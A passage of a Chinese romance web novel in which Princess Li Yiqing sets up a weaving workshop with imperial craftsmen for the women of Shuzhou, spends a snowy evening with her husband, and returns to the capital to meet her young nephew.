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且还有的忙呢。
李意清自顾自地摇摇头，端着矮凳换了一个方向。
糊在窗户上的油纸细腻雪白，窗外的落雪映着光亮，屋内亮如白昼。
写下一行“无事勿扰”后，李意清抱着软绒毯子，挑了一个舒服的姿势继续看话本。
狐妖在烟雾袅袅中缓缓显形，毛茸茸的狐狸尾巴彰显他非人的身份，他面容白如雪，剑眉斜飞入鬓，一双丹凤眼顾盼生姿。
散发道士脸上胡子拉碴，腰间配着一壶上好的烈酒。
木剑看着钝，却在他的手中削铁如泥，挑开酒壶盖子后，他仰面喝了几口酒，没来得及吞咽的酒水顺着他的脸旁滑落。
道士大呼一声“痛快”，而后纵身一跃，站在狐妖相公面前，挽出的剑花带着不容忽略的剑气，惊起身边梨花簌簌。
狐妖面色一凝，正欲开打之际……
“殿下殿下。”
洛石从门外跑来。
李意清再一次被人打断，目无表情地看向一脸喜色的洛石。
洛石这才注意到李意清面前白纸上写的黑字。
无事勿扰。
洛石一把将这张白纸掀开，“殿下，有事，皇后娘娘派来的匠人已经到了门口了。”
李意清：“？”
洛石：“一行人大概十三四个，殿下，现在要不要去看看？”
李意清在话本打斗和面见匠人中考虑了一瞬，立刻坚定不移地选择了后者。
前者大不了挑个时间还能继续看，匠人之事，她本来只提了一个想法，在元辞章的帮助下渐渐完善，现在虽未与人明说，但是已经是板上钉钉的事情了。
于情于理，她都该去看这一眼。
李意清毫不犹疑地合上书，对洛石道：“走。”
洛石有些迟疑地看着李意清没做任何标记就合上的书册。
“殿下，不要紧吗？”
李意清这才发现自己没夹上一页书签。
心中闪过一丝心痛，但面上依旧风轻云淡，“无妨，见人要紧。”
她一边往外走，一边发现自己的衣裳还没来得及换。
“先把人请到外院小等，我换身衣裳再去。”
洛石应了一声，先一步蹿了出去。
外面，雪点越来越大，纷纷扬扬。
不一会儿，雪花就将地面、屋檐、树桠上描出了白白的一层。
李意清换上衣裳后，从外面的长廊朝外院走，偶尔几朵雪花飞旋着落入她的衣领，冷得她打了一个哆嗦。
外院堂中，点了两盆火炉。
李意清一进门，就看见乌压压一帮人整齐地朝她下拜。
“於光公主金安。”
李意清咳了一声，摆了摆手让他们起身。
“诸位远道而来，不必拘礼，快请坐吧。”
屋子不大，乍然间站着十几人，将屋中挤得满满当当。
众人又是一阵道谢，手揣在兜里坐了下来。
茴香掀开帘子进来，一边搓着手一边将一个汤婆子递给李意清。
还是屋子里缓和，这么多人，还点着火炉。
李意清抱着汤婆子正襟危坐，等身上的冷意散开后，才抬眸一一从众人脸上扫过。
忽然，她看到一张有些眼熟的脸庞。
164. 初雪花楼
鹊娘也看到了李意清微微愣神的视线，主动朝李意清笑了起来。
李意清收敛了心中惊讶，故作镇定地询问身边的茴香。
“茶水都煮好了吗？”
茴香道：“洛石正在烧水，等水开了，自然会送进来。”
两人说完，洛石像是演杂耍一般，一手托着十几只碗，另一只手拎着一壶水，走了进来。
十几只碗摇摇晃晃，看得李意清一阵心惊。
茴香上前两步，主动接过了碗，一一分发。
等最后一个碗里也倒了水，洛石和茴香站在了李意清的身后。
茴香小声抱怨：“你也真是的，生怕不会烫到师傅们。”
洛石不以为意：“你放心，我手稳着呢。”
顿了顿，他继续道：“还有，也不知道是谁，捧着汤婆子就急匆匆地跑走，我在后面喊了好几声都没有反应。”
茴香一脸茫然，片刻后道：“好，这次算我欠你一次。”
两人都刻意压低了声音，可是李意清离得近，一句不落听了进去。
自草编兔子和鲤鱼之后，两人不知道在较劲什么，鸡毛蒜皮的事情也能吵上一天。
若不是许三在中劝和，估计两人能互相不搭理一整天。
屋中的椅子小榻是临时凑出来的，高低不一，坐的最近的师傅看着年纪有四五十岁，喝了一口茶水后，颇有些感慨。
“殿下真是勤俭。”
李意清在心中品了品。
虽然师傅话说的很像是没拿出什么茶叶招待的责怪，但是看其面相，倒是赞赏居多。
旁边有人低咳一声，示意他不要多生是非。
为首者说完这一句，转了话题，主动介绍道：“殿下安好，微臣名杨翰，出自扬州织造，家中从事这行已经两代，我是第三代，这七位和我一样，都至少有十年的经验了。”
跟随着杨翰的介绍，李意清一一望去，朝几人微微颔首。
杨翰接着道：“皇太后考虑到光有匠人无人会用也不可，从司绣署指派了几位姑姑来教导。”
正是鹊娘六位。
虽然时隔好几年，但是李意清对她的面容并不陌生。
一张天生笑脸人如其名，很有记忆点。
鹊娘几人年纪虽小，却又皇太后懿旨亲封的品级在身，年纪稍长的匠人师傅为了表示尊重，特意以“姑姑”相称。
茴香这才注意到鹊娘。
她以前和鹊娘见过，鹊娘负责李意清嫁衣的缝制，她身为嫦月殿的掌事宫女，自然打过交道。
在异地得见故人，茴香笑容灿烂，立刻朝她展开笑颜：“我记得你……不过你怎么会来到舒州，司绣署……”
有皇太后的亲口封赏，以后司绣署的掌事必然是她。
茴香在心中猜测，难不成是在司绣署坏了事？
司绣署的差事算不上多难，事情做的好了，很容易就能得到封赏，可是稍有不慎，惹了贵人的眼，贬斥也就一瞬间。
鹊娘看出了茴香眼底的担忧，立刻道：“不是的，太后娘娘对奴婢很好。是奴婢听说於光公主在舒州缺人相助，主动请命，只希望能略尽绵薄之力。”
鹊娘的绣工在当年的绣娘中是拔尖的，几年历练下来，正是好年华。
李意清有些意外地看向她。
鹊娘：“当年殿下为奴婢奔波请封，殿下或许不以为意，但是奴婢却不敢忘怀。如今听闻殿下愿意在舒州开绣房，奴婢能尽一份心，很是高兴。”
茴香道：“那感情好，你的手艺我们都是知道，有你在，以后舒州多少女眷的生计都有了着落。”
鹊娘垂眸一笑。
一行人过来的路上，遇到了等候在留别亭外的太子李序泽。
太子殿下一身月白长袍端方矜贵，墨发被玉冠束起，一举一动清冷尊贵。
他道：“他日史书工笔，诸位可留名青史。”
前排的匠人闻言笑开怀，鹊娘却并没有那么在乎。
她前半生的荣耀来自于李意清，如果能做些什么回报，就再好不过了。
至于世人是褒是贬，那都是身后事。
生前哪管身后事。
匠人也想起了路上遇到太子一事，“殿下，来的时候，微臣等人还见到了太子。”
李意清：“太子皇兄，他怎么样？”
“太子殿下精神很好，他让我转交一样东西给殿下。”匠人拿出木盒，打开后，将其中的一枚锦囊拿出来。
李意清伸手接过，用手捏了捏，里面装着细碎的药材。
里面还夹着一张不易被察觉到、对折了好几次的纸。
匠人师傅显然不敢仔细查看锦囊，并不知道锦囊中另有玄机，只转述太子殿下的话。
“殿下说，‘意清回京远行，路上多有颠沛，香囊中的冰片薄荷石菖蒲和辛夷都有提神醒脑之效，愿吾妹平安到达’。”
李意清微微点头，“有劳。”
“殿下太客气了。”匠人师傅贪恋着指尖的温暖，多坐了片刻。
等窗外风雪渐小，才起身对李意清道：“殿下，此行为花楼机而来，现在可方便带我们去瞧一眼绣房？”
花楼机打造繁琐，早些开工，他们也好早些准备所需东西。
李意清点了点头，率先掀开门帘走了出去。
门外，风雪初歇，地上结了一层薄薄的雪。
朔风吹落的枯叶七零八落地掉在井边，昨日新糊的窗户纸也被吹开一个角。
李意清打了一个哆嗦，这般天气，最适合在家中闭门不出，身边放着一炉热乎乎的暖炉，闲散看着话本。
又是一日岁月静好。
可惜眼下的忙碌，并非别人强加给自己的，而是自己强求来的。
李意清小声在心底感慨了一声，走了出来。
堂中和外面的温度相差过大，众人出来之后，纷纷变了脸色。
最先带头的匠人心中叫苦不迭，早知道外头这么冷，就不急于这一时了。
李意清等人都出来了，才道：“这几日天寒，诸位师傅不必急于一时。我已经准备好了房舍供诸位下榻，诸位尽可把随行物品一道带过去。”
绣房旁边的几件院落，都被买了下来。供十四人居住绰绰有余。
众人闻言，纷纷又是一阵谢恩。
绣房就在城东，离得不远。几人走过去的时候，绣坊中的还隐约能听见咳嗽声。
推门进去，里面坐了七八位绣娘，里面没点碳炉，和外头一样冷。
江舒窈坐在最前面，手被冻红了也浑然不觉，手指灵活地在布上飞舞穿梭。
听到声响，她立刻抬头望来
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，朝李意清咧嘴笑。
“你怎么有空突然过来？”
李意清看着她冻红的手，又看向其他几位绣娘，手无不冻得发红。
在屋内点一盆碳炉会好上许多，可是她们舍不得这个钱。
李意清道：“这位是从京城过来的杨翰师傅，准备在隔壁屋中打几架花楼机，对了，上次送来的纺机怎么不用？”
江舒窈：“殿下忘了？这个时候哪有什么好蚕丝棉丝，纺机搬来了也只能吃灰。”
李意清不好意思地摸了摸鼻尖。
“是我疏忽，你继续忙。我先带师傅们去看一眼位置够不够大。”
江舒窈哎了声，又不确定地看着站在李意清身后的一行人。
花楼机，那是什么？
李意清等人来得快，走得也快，等人都去了隔壁屋，才有绣娘忍不住好奇。
“江娘子，方才公主说的是什么啊？”
“对啊，怎地突然带这么多人过来。”
有人忧愁，“该不会是公主瞧不上咱们这手艺，带人把这绣房收走吧。”
她家和江舒窈一样，全靠她针线上的手艺才能一家人勉强过活，若是连这一桩营生都被收走，那日后日子可真是没一点指望了。
江舒窈和公主相熟，自然不必担心，可是她和公主只见过两面……
“怎么会！”江舒窈打断了她的话，“你不必担心。当年我和公主不算熟识，她都愿意为了救我奋不顾身，一日奔波数十里救我和淇儿性命。她行事，只会让我们越来越好。罢了，你们若是不相信，我待会就去问个清楚。”
几位绣娘心底还有些打鼓，听到江舒窈的最后一句话，纷纷伸手推攘着她。
“去啊，快去啊。”
江舒窈被赶鸭子上架一般推了出去。
另一边，李意清站在空旷的屋内，有些不确定地问身边的杨翰，“你看这高度可够了？”
当时为了嫁衣一事，李意清在司绣署遥遥看见了束综花楼机的大小，印象中只记得花楼机很是高大，但是具体有多高，却不怎么清楚。
杨翰走到墙边，抬头目测一番后，朝李意清拱了拱手。
“花楼机高一丈二尺，此屋差不多一丈五尺，是足够的”杨翰摸了摸下巴上并不存在胡须，认真道。
花楼机结构精密复杂，上千个零件拼凑而成，若是高度不够，日后想搬走都成一件难事。
李意清松了一口气，“高度够用就好。”
若是高度不够，匠人赶工制造零件的同时，她还需要另想方法造高度合适的屋子。
突然，门忽然被人敲响。
鹊娘她们站在后面，听到敲门声，又看了一眼专心致志的李意清和杨翰，走到了门边。
打开后门，是方才那个看着和李意清很熟识的女子。
鹊娘主动朝她露出一个友好的笑容：“这位姑娘可是有什么要事？”
江舒窈望了一眼被人群紧紧包围的李意清，心中微微一紧。
她看着面前年岁不大，但是看着很是老成稳重的鹊娘，低声问道：“意……公主殿下是准备做什么吗？隔壁屋中也运来了不少纺车织机，这又是？”
鹊娘有些惊讶地看了一眼迷茫中又带着几分惴惴不安的江舒窈。
原来殿下还没有和她们说起这件事。
165. 烤地瓜
鹊娘笑意盈盈：“姑娘不必担心，殿下担心她离开后舒州城女子的生计，上书皇宫请来匠人，准备教授你们这一种纺织技艺。”
教授宫里传出来的技艺。
江舒窈耳鸣了一阵，才听清楚鹊娘说的话。
鹊娘：“姑娘不知道吗？殿下两个月前就传信回了京城，所嫁之人或许品行有待商榷，可是掌握在自己手里的技艺确是不会骗人的。只要学会一门手艺，日后走到哪里都饿不着。”
说完，她不好意思地笑了笑，“我说话直白，姑娘可别笑。”
江舒窈连连摇头，忍住心中掀起的惊涛骇浪，朝鹊娘道声多谢，转身逃也似的离开了屋中。
外头，迫不及待知道内情的诸位绣娘见到江舒窈腿脚不稳地走出来，悬着的心忍不住提得更高。
连江舒窈都这般神情，莫非当真无路可走了？
原先开口说话的绣娘心沉了，她眼眶发红，握着拳头道：“不成，若是没了这项生计，倒不如现在就死了干净，我再去求求公主……”
江舒窈看着她大有一头撞在柱子上的架势，连忙伸手拉住了她，“不不不，别去，是好事，天大的好事！”
几位绣娘不明所以地看着她。
江舒窈缓缓咽下口中的唾沫，一字一句认真道：“公主殿下请来宫中的师傅，教授我们宫中的技艺。”
话音落下，落针可闻。
几位绣娘的呼吸越发急促，更有甚者，和江舒窈一般腿脚都站的不稳。
“我不是做梦吧？江娘子，这是真的？”
“当然是真的。”江舒窈道。
几位绣娘心中五味杂陈，久久不语。
她们就是靠着手上的针线吃饭，自然知道一门手艺会带来多少好处。
宫中传出来的技艺，光是说出去，就不愁没了活计。
有人按捺自己的呼吸，颤声问：“这般好的技艺，若是只有咱们学会了……”
“不可！”江舒窈厉声打断了她，“殿下将这门技艺不远千里送来，本就是为了一城女子，怎么能独吞。”
开口的绣娘脸色讪讪，“我就是想想，想想。”
江舒窈却一瞬不瞬地盯着她，直到看得那人禁受不住，连声说“不想了不想了”，才移开视线。
“殿下一番苦心，谁若是辜负，身上的臭名可就甩不掉了。”
……
屋内，杨翰见李意清对花楼机的制造很感兴趣，一开口，就忍不住多介绍了些。
他滔滔不绝，直到口干舌燥。
从他的描述中，李意清仿佛看见一丈二尺高的庞然巨物已经矗立其中，两人配合操作，一人坐在花楼之上，根据事先编好的花本上下提拉衢线，提起经线，另一人坐在织机下方，在上面人提花完毕后脚踩木杆控制综框升降，形成梭口，将装有纬线的梭子“投梭引纬”。
待经线和纬线交织后，用“筘”将线打实，一匹精美的织花布缎就成了。
光是听到，就觉得费神，很难想象先人何等巧思，能想到这样的法子，并付诸实践，造出如此巨大的花楼机。
杨翰看李意清一脸的兴味盎然，在旁边干咳几声。
李意清道：“这般精细的东西，辛苦各位了，等花楼机成，除了太后和母后的许诺，本殿也会有赏。”
杨翰闻言，原先的疲惫一扫而空，笑容灿烂地谢恩。
“只是，”李意清顿了顿，才道，“本殿应当没有福气看到建成的花楼机了，只希望建成那日，诸位能传信于我，告诉我是何模样。”
杨翰拍着胸脯保证：“殿下，你只管放心就是。”
看完绣房，李意清顺道将十四人送到距离不远的院子。
一共五间院舍，容纳他们绰绰有余，趁着众人收拾行囊挑选自己寝屋的时候，李意清将杨翰和鹊娘单独叫了出来。
“你们算是一行人中各自的领头，院子的地契我就交给你们了，以后若是有什么变动，自行拿主意即可。若是实在解决不了，送信回京城公主府，本殿看到，自然会管。”李意清一边说，一边将袖中的五张地契拿了出来。
杨翰和鹊娘不约而同瞪大了眼睛：“殿下，这怎么使得！”
“别急，听我说完，”李意清补充道，“将地契交给你们，是本殿的信任，你们也不可辜负，不可在此虚度年华，须得真正做实事，日后新上任的舒州知州，本殿也会托他看管一二。”
“殿下放心，微臣明白。”
紧随其后，鹊娘也朝她坚定地点头。
“殿下放心，当舒州府织花一日未曾名扬天下，奴婢一日不离。”
李意清再次讶异。
她很好地收敛了脸上的意外之色，笑得明媚而疏朗。
当年她自己都想不到，随手的无心之举，能换来一个人不远千里、甚至放弃大好前程的追随。
等人收拾完毕，天色也渐渐变得昏沉。
怀中的汤婆子早就凉了，不过在她的体温下保留着一丝残留的温度。
“天色不早了，我就先走了。这几日我还会在舒州府，若是有事寻我，直接去就是。”李意清裹紧了身上的斗篷，说完，和洛石一道走入夜色。
晚间虽然不曾下雪，却夜风冷冷。
鹊娘有意相留饭菜，可是一想到现在院中什么都有限，只能出门撑伞相送。
送出去一截路，李意清顿住脚步，转头对她笑：“没事的，快些回去吧，外头冷得很。”
鹊娘闻言，站定脚步。
“殿下慢走。”
她的语气忽然有些低落，李意清不清楚这份低落的来源，只能朝她笑着点头，而后继续和洛石一前一后走在薄薄的雪地上。
雪后，街道上来往的人却不少，走到城东街道，一路上的商铺鳞次栉比，张灯结彩。
像是迎接着这一场初雪。
及腰高的小童三两追逐，更小点的孩子带着喜气的虎头帽，拍手叫好。
走过了一路的热闹繁华，等转入寂静的梨花弄堂，忽然心中就升起了几分落寞萧条。
进门后，他闩好门，跺了跺鞋上站着的泥雪，随口道：“殿下你记不记得，当年在熙州漫山飘雪，旷野除了星星点点的人家不见人烟，那时候我们站在雪地里，不似在人间。”
他只是随口一提，说完，缩了缩耳朵，切了话题，“好冷啊，殿下，你冷不冷，我现在就去烧热水。”
说完，一溜烟地跑没影了。
李意清看着他的背影消失在院子中，慢吞吞地往正堂走。
走了两步，忽然有一道身影逆光而站，颀长的身影被烛光拉得更长。
影子的肩膀，刚好在李意清的脚下。
元辞章走到她的身边，伸手握住了李意清的手指。
李意清原先还不觉得自己的手冷，直到触碰他的指节。
可真冷啊。
真暖和啊。
两道截然不同的想法同时出，却不约而同变作相同的举动——更用力地握住了对方的手。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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有人在汲取那一缕温暖，有人在雪夜送去一丝暖意。
洛石跑回后院的动静太大，惊动了正在正堂的毓心。
毓心走到门口，口中还在抱怨，“洛石，你跑那么快，殿……”
忽然，抱怨戛然而止，毓心面不改色地转头准备离开。
顺道狠狠拽住准备一道上前抱怨、探头张望的茴香。
“毓心，你拉我做什么啊，殿下一个人……”
“别多问，不是说锅上炖了鸡汤吗？快和我一道去看看好了没有，等殿下沐浴后，端一碗送过去……”
李意清：“……”
她们好像压低了声音，又好像没有。
旁边的元辞章神色自若，清浅的目光落在李意清的肩头，轻轻拂去不知道什么时候吹在她肩头的一枚落叶。
落叶干枯，捻起后落入地上，打了一个旋儿。
李意清看得有趣，忍不住扬起一抹笑。
回到屋中，她脱下斗篷坐在炉边烤火，等身上暖和起来了，才长长地松了一口气。
回头一看，和自己一道进屋的元辞章早已经不知去向。
李意清微怔，然后起身准备呼唤，却看见小小的门帘被人掀开，元辞章端着一个托盘走了进来。
托盘上放着一盏小小的瓦罐，还有两个烤好的地瓜。
地瓜的香味浓郁，将鸡汤的味道盖得严严实实。
李意清眼睛噌地一下变亮，立刻小跑到元辞章的身边，顾不得烫伸手拿起一个，“烤地瓜，先前回来路上闻到了，可馋坏我了。”
元辞章：“晚间去了一趟杨通判家中交代未尽的事宜，路上看到，猜到你会喜欢。”
烤好的地瓜外皮焦黄，里面的瓤金黄微红，散发着甜蜜的香气。
李意清用牙轻轻咬了一口，糖滋滋的甜意瞬间蔓延开来，她眯起了眼眸，心满意足。
元辞章的视线落在她的身上，眸种满是清然的笑意。
吃了一半，门外忽然传来茴香和声音，“殿下，水已经烧好了。现在可要洗漱？”
“要要要，”李意清立刻大声回答，然后朝元辞章眨了眨眼睛，“这个你吃。”
元辞章哑然失笑。
李意清一溜烟地跑了出去，茴香调好了水温，看见她认真地吃着半个地瓜，忍不住朝她挤眉弄眼，“殿下，好吃吗？”
“……好吃。”李意清由茴香帮忙脱下鞋袜，将脚放入水盆种，忽然想到了什么，轻声对茴香道，“三日后就要准备回京，若是明日没有下雪，去帮我将话本的第二册买回来。”
茴香故意装作没听懂，“话本？殿下说的是哪一本？”
李意清：“你知道的，就是狐妖相公和……”
茴香扑哧一声笑出来，“殿下回来没有看见吗？驸马这一趟回来，不但买了地瓜栗子，还有各类坚果，害怕殿下一路上无聊，还特意买了十多本话本。”
李意清吃地瓜的动作猛地一顿。
茴香又添了一瓢热水，滴入两滴花露，看李意清有些茫然的眼神，忍不住笑了出来。
泡完脚，李意清手中剩下的半个地瓜也吃完了，茴香还需要收拾地上的水渍，主动道：“殿下，趁现在脚还热乎着，快些回床上躺着。”
李意清被茴香稀里糊涂地推了出来。
冬夜清冷，昏沉的浓云密布，闪烁的星点藏在层云之下。
一阵朔风从北而起，稀稀疏疏带来一小片落雪。
【卷三：舒州烟云完】
166. 回京路上
三日后，舒州城外，天光熹微。
李意清和元辞章都不是习惯有人夹道相送的性格，趁着天还微微凉，一行人就上了路。
来时的春夜繁星点点，离开的时候枯叶覆霜。
等江舒窈发现隔壁院子空下来的时候，众人已经过了白崖县。
原先一家人还在的时候元尧臣乐此不疲两头跑，可是等李意清他们一离开，元尧臣便独自住不下去了，和杜于泉在仁清堂的附近一道盘了宅子，离得近，看店也方便。
江舒窈轻手轻脚地出门，没有惊动床上睡得安稳的江荇和江淇。
隔壁院子新糊不久的窗花颜色尚且新鲜，地上的残叶被打扫干净，一切都像是还有人居住的样子，可是她知道，此去一别，估计从此院子就会落空。
直到下一位主人来到这边。
江舒窈有些失神地看着屋舍，片刻后，将沿着墙根的一排瓶瓶罐罐整理整齐，依旧那一株看着格外脆弱的蔷薇花。
她像是下定了决心，往年年年岁岁，她也要像李意清照顾隔壁刘阿婆院子一样，认真照顾这两处院子。
院子有了人住，才有了人气，若是没了人气，很快就会衰败下去。
若是江荇和江淇问起“意清姐姐呢”，她总该留个期待。
*
马车中，李意清在加厚了好几层的软毯上蜷缩着，只露出一只手压着话本的书页。
狐妖相公与道士缠斗，两人你来我往，打得天昏地暗，命悬一线之际，有人出手，救下了狐妖。
虽然侥幸留住了一条性命，却失去了修行数百年的道行，重新变回一只没有开化灵智的雪白狐狸。
千金从府上的桎梏中出来后，遍寻狐妖无果，被一个道士模样的人拦住。
“人妖殊途，怎可强求。”
话本到此告一段落，李意清看着书上的描写，恰如此刻风雪漫天。
元辞章下马车买了些饼食准备带在路上吃，一回来，就看见哭得泪眼婆娑的李意清，心下猛地一紧。
他放下手中的食盒，坐在窝在一角的李意清身边，“怎么哭了？”
略带薄茧的指尖轻轻擦过她眼角的泪珠。
李意清语气蔫蔫的：“狐妖变成小狐狸，他再也不记得从前种种了。”
元辞章垂眸看了一眼翻到最后一页的话本，心下了然。
“小狐狸虽然忘记了，但是千金小姐并没有放弃寻找他，两人虽不记得过往，但未来的故事依旧有趣。夫人不想看看吗？”
李意清眼巴巴地抬头看他：“真的吗？没有骗我吗？”
元辞章朝她肯定地点了点头。
李意清这才破涕为笑，从柜子拿出下册，翻开几页后才察觉不对，抬头看着元辞章，“你怎么知道？你看过了吗？你什么时候看的？我怎么不知道……”
元辞章：“嗯，看过了，夫人还有什么想知道的吗？我都可以和夫人说。”
李意清立刻捂住耳朵，“不许说，不许说，我要自己看。”
元辞章应了声，见她看得专心，伸手在食盒中拿出一碟琼花酥。
“张嘴。”
李意清视线牢牢粘在话本上，听到元辞章的声音，乖乖张嘴。
甜味在舌尖绽放，李意清眯起了眼睛，“还要。”
元辞章：“不急，都是你的。”
李意清一手压在书上，另一只手缩在自己毛绒绒的毯子里，嘴巴还有元辞章的投喂，为了表示谢意，主动轻轻用脑袋蹭了蹭元辞章的胳膊。
元辞章感受到胳膊上的暖意，心融化了一滩水。
越往北走，地面的霜冻越发厉害。
李意清秉持着能不出去就不出去的原则，像一个松鼠一样缩在马车上。
元辞章有的时候看不下去，会伸手掀开马车上厚厚的挡风帘。
冬日的暖阳一股脑地倾泻进来，橘黄色的光辉落在毯子上的绒毛上，空气中细微的粉尘都清晰可见。
李意清习惯了暗色的环境，乍然感受迎面的暖意与微风，有些不习惯地眯了眯眼睛。
“干嘛？我还要睡觉……”
元辞章捧起了她的脸蛋，像是托起一团柔软的云。
“睡了四个时辰了，”元辞章伸手刮了刮她的鼻尖，“今日的阳光很好，要不要一道出来走走？”
李意清小声地打了一个哈欠，想也不想地摇头拒绝，“不去，外面好冷。”
元辞章还欲说话，只见被窝下探出一只白皙纤细的手拉住了他的袖子，拽着他使劲一拉。
元辞章顺从地躺在床上。
李意清重新闭上了眼眸，犹豫一刻，掀开自己捂得暖和和被子的一角，将元辞章拽了进来。
“嘘，不要说话，再睡一会儿。”
李意清凑近了元辞章的耳畔，声音软软呼呼。
元辞章猝然被拉近，两人鼻尖无限贴近，可又若即若离。
近到，可以清晰的看见李意清的每一根睫毛。
元辞章明确地感知到自己的心跳声乱了，可是迷迷糊糊的李意清浑然不觉。
“元辞章，除了你我可舍不得分给别人这一点暖意。”
李意清手脚凉，被窝的每一分热气都来之不易，弥足珍贵。
以前嫦月殿中，澜姑姑为了喊醒她，会掀开一个被角。李意清被冷醒后虽然不发一言，但光看脸色，就知道她心情不愉。
久而久之，嫦月殿伺候的宫女太监都渐渐发现了李意清不动声色的起床气，除了澜姑姑敢上手去动，其他人都不怎么敢进去催促。
元辞章闻言，眉眼间满是温和的笑。
他伸手掖了掖李意清的被子，“时候还早，殿下可以再睡一会儿。”
马车外头偷听的洛石和毓心：“……”
不是，驸马这么没有原则的吗？
白瞎他们的期待了。
他们分散开来，打水的打水，喂马的喂马，转眼间看见许三和茴香站在梅花树下言笑晏晏。
心中更气了。
两个时辰之后，李意清才转醒。
休整完毕，马车重新开始轱辘转起来。
小几上放着一杯温热的茶水，还有一小碟没怎么动过的豌豆黄。元辞章坐在旁边看书，听到李意清的动静，垂眸看了她一眼。
“可是颠簸？我让许三慢些？”
李意清摇了摇头，小声打了一个哈欠，“睡够了。”
顿了顿，她一只手撑在地上，支起半个身子，另一只手掀开帘子，“这是到哪里了？”
元辞章顺着他掀开的方
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向望了一眼，“已经到了京畿，明日大概就能抵京。”
李意清立刻来了精神，聚精会神地看着外面的景色。
大抵是几日前刚下过雪，地上东一片西一片留有不少残雪，粘在干枯的草地上，有几分说不出的萧索与孤寂。
雪看久了容易目眩，李意清看了一会儿，移开视线落在元辞章的身上。
车行不稳，但是身边美人在侧，举手满是隽雅清逸。
赏心悦目极了。
元辞章任她托腮看着，时不时在桌上拿一块糕点放在她的唇边。
豌豆黄甜腻，吃了几口，李意清就摇头不要了，指挥元辞章伸手拿一卷话本来。
元辞章照做，不但拿了话本，还翻到了李意清正在读的页数。
手压着边角，神色淡然自若。
李意清抬头看向他，他丝毫不觉得有什么不合适，“外面天冷，我帮你压着书。”
顿了顿，他补充道：“若是要翻页，知会我一声就是。”
李意清应了一声，低头看了起来。
到了需要翻页的时候，就用自己的脑袋点点元辞章的手。
接收到讯号的元辞章就会不紧不慢地翻一页过去。
马车外面的毓心面无表情的想——如果有一日殿下不能自理，驸马是要负很大责的。
*
翌日一早，一行人走了京城城墙处。
年关附近，排的队伍很长。
洛石望了眼长长的人群，叹了一口气，“要是高将军在就好了。他已经记得於光公主的样子了。”
毓心道：“殿下向来不会来使用权力，这些话要少说。”
洛石道：“我也就在你的面前吐槽一句罢了。”
两人说话间，队伍又前进了一点。
前面有人发生争执，似乎是忘记带文书，被拦在了城外。
从他们所在的距离，听不见守城的将士和那人说了些什么，只能看见那人一阵折腾，被将士锁住肩胛骨，推攘了出来。
“没有文书，不给进！”
将士的话落地，铿锵有力，斩钉截铁。
不容商榷。
被推出来的人站起身，伸手掸了掸自己身上的灰，恨恨地看了守城的将士一眼。
“不过是个守城的小卒，也敢这么和我说话，当真是找死。你有种给我等着。”
守城将士目不斜视，“依法办事。”
这一段小插曲没能掀起什么波澜，等那人离开后，众人重新恢复秩序。
长长的队伍中，出现了几个背着篓子、里面放满蔬菜的老人家走出来，边走边叹息。
他们仗着经常来往，和守门的将士熟稔，因此有时候会省去文书不带，可是现在入京检查越发严格。
文书要是办也不难，八十文钱一张，找里正或者乡长就能办妥。
但是八十文钱，他们卖一个月菜都不一定能凑齐。
离开一部分之后，队伍立刻变得松散起来。
洛石在心中数了数前面的人，颇有些开心，“殿下，现在就剩十三个人了。”
李意清从帘子后面探出头来，看清后，嗯了一声。
就在这时，后方忽然传来一道剧烈的马蹄声。
“避开！都避开！”
167. 洪梁若下
马蹄扬起的灰尘扑面，李意清刚准备回头，就感觉肩膀上一道力量扯着自己的后退。
帘子挡住了大部分扬起的尘土。
坐在外面的洛石则没有人帮忙，吃了一嘴的泥沙。
半响后，洛石气得吹胡子瞪眼，忍不住看着一人一马的背影怒目圆睁，“这是何人，这般嚣张！我们殿下都没有直接驱车到前面去。”
李意清从元辞章的怀中挣出来，“洛石，没事吧？”
洛石灰头土脸，伸手擦了一把脸，闷声回道：“殿下，没事。”
等轮到李意清他们过去，许三给出了元辞章的文书。
守城的将士只看了一眼，立刻恭敬地合上文书，双手送还。
而后扬声呼道：“放行。”
趁此期间，洛石向守城的士兵问：“方才骑马的那人是什么来头？”
守城的士兵，“西北来的人，蓝幡在前，不能阻拦。”
蓝幡扬起来的时候，说明是为军情而回来，消息要迅速传入宫中。
洛石愣了一瞬，才拱手道谢。
旁边的许三道：“话说早了吧，人家为军情而来，耽误不得。”
马车中，李意清和元辞章对视一眼。
元辞章淡声道：“先回府。明日一早，进宫拜见陛下。”
李意清点了点头。
军情刚传到宫中，父皇必然要找大臣商量，今日估计抽不出时间面见他们。
公主府门口，早早得到消息的众人站在门口，眼巴巴地望着越来越近的马车。
元辞章先一步下了马车，转过身来，伸出手来。
李意清自然而然伸手搭在他的手上，站在公主府的门前，心中忽然感慨万千。
公主府的描金依旧清晰，一看就是她不在京城的这段时间，也一直有人悉心照料。
门口，以兰澈和梁师傅为首的众人纷纷下拜，“恭迎殿下回府。”
李意清微微抬了抬手。
身边搀扶着李意清的毓心忽然用力咳嗽两声，压低了声音道：“殿下，你看旁边。”
李意清顺着她示意的方向看过去，望到了站在街道上的太子和太子妃。
两人之间站着一个五六岁的小男孩，面容白皙，锦衣玉环，小小年纪，气质已然不俗。
太子妃见到李意清投来的视线，微微避开了她的视线。
太子伸手推了推身边的小孩，“安儿，喊人。”
男孩深吸一口气，慢吞吞地走到李意清的身边，像模像样地俯身作揖，声音清脆：“姑姑。”
而后对身边站着的元辞章道：“姑父。”
李意清有些惊讶地看着已经半人高的皇太孙李昀璟，愣了一下，才转头去看茴香，“路上的豌豆黄还有没有剩？方糖还有没有？”
茴香压低了声音小声道：“殿下真是记性不好，豌豆黄昨天夜里就吃完了。”
她忍痛从袖中拿出自己珍藏的两颗方糖，放在了李意清的掌心。
李意清笑盈盈地递给李昀璟。
“安儿。”
李昀璟抬头看着李意清，心中有些无奈。
他早就不是小孩子了，才不会喜欢吃糖呢。
不过他并没有直接拂了李意清的面子，规规矩矩地伸手朝她一拜，道谢道：“谢谢姑姑。”
李意清伸手揉了揉他的脑袋，“不用谢。”
说着，就准备弯腰，“小时候我抱你玩，现在也不知道能不能抱得动了，安儿，要试试吗？”
李昀璟一本正经地道：“姑姑，安儿很重的，你抱不……”
他话还没说完，忽然双脚离开了地面。
腰上，纤细的手腕充满了力量，将他牢牢抱住。
李昀璟的脸忍不住变红，轻轻地在李意清的怀中挣扎，“……姑姑，我年纪不小了。”
“谁说的？”李意清不以为意，笑眯眯地看着他白里透红的脸蛋，“我们安儿还是小孩子，当然可以被抱着。”
太子和太子妃走近，前者眉眼含笑，“安儿，可别累着你姑姑。”
太子妃沉默了一会儿，也小声道：“是啊，安儿看着不胖，但是抱一会儿也会手酸，你放他下来，他自己能行。”
